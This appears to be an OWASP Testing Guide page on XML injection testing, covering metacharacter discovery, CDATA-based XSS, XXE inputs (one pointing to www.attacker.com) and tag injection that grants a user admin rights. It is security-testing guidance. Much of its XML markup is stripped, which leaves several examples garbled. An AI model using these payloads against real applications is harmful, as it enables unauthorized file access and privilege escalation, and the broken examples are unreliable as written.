Testing for XML Injection (OTG-INPVAL-008)

Brief Summary
We talk about XML Injection testing when we try to inject an XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive.

Short Description of the Issue
In this section, we describe a practical example of XML Injection: first, an XML style communication will be defined, and its working principles explained. Then, we describe the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

Black Box testing and example
Let's suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new node in an xmlDb file. Let's suppose the xmlDB file is like the following:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm '''

When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com

will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

The application, then, builds the following node:

''' 	 tony Un6R34kb!e 500 	 s4tan@hell.com '''

which will be added to the xmlDB:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com '''

Discovery
The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters. XML metacharacters are: As an example, let's suppose there is the following attribute:
 * Single quote: '  - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.



So, if:

inputValue = foo'

is instantiated and then is inserted as the attrib value:

  

then, the resulting XML document is not well formed.


 * Double quote: " - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.

  

So if: $inputValue = foo"

the substitution gives:

 

and the resulting XML document is invalid.


 * Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:

Username = foo<

the application will build a new node:

'''     foo< Un6R34kb!e 500     s4tan@hell.com '''

but, because of the presence of the open '<', the resulting XML document is invalid.


 * Comment tag:  -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

 Username = foo<!-- 

the application will build a node like the following:

'''    foo<!-- Un6R34kb!e 500    s4tan@hell.com '''

which won't be a valid XML sequence.


 * Ampersand: &amp; -  The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;symbol;'. An entity is mapped to a character in the Unicode character set.

For example:

 &amp;lt; 

is well formed and valid, and represents the '<' ASCII character.

If '&amp;' is not encoded itself with &amp;amp;, it could be used to test XML injection.

In fact, if an input like the following is provided:

Username = &amp;foo

a new node will be created:

''' &foo Un6R34kb!e 500 s4tan@hell.com '''

but, again, the document is not valid: &amp;foo is not terminated with ';' and the &foo; entity is undefined.


 * CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

For example, if there is the need to represent the string ' ' inside a text node, a CDATA section may be used:

'''    <![CDATA[ ]]> '''

so that ' ' won't be parsed as markup and will be considered as character data.

If a node is built in the following way:

 <![CDATA[<$userName]]> 

the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.

userName = ]]>

this will become:

 <![CDATA[]]>]]> 

which is not a valid XML fragment.

Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.

''' $HTMLCode '''

Then, an attacker can provide the following input:

 $HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> 

and obtain the following node:

'''  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> '''

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

 alert('XSS') 

The result is that the application is vulnerable to XSS.

External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.

To test for XXE vulnerabilities, one can use the following input:

'''  <!DOCTYPE foo > &xxe; '''

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Other useful tests are the following:

'''  <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]> &xxe; '''

Tag Injection
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.

Let's considering the previous application. By inserting the following values:

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com 0  s4tan@hell.com

the application will build a new node and append it to the XML database:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com 0  s4tan@hell.com '''

The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.

The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it. Let's suppose that the XML document is specified by the following DTD:

''' <!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]> '''

Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.

However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence:

Username: tony  Password: Un6R34kb!e 0  s4tan@hell.com 

In this case, the final XML database is:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 0  s4tan@hell.com '''

The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules.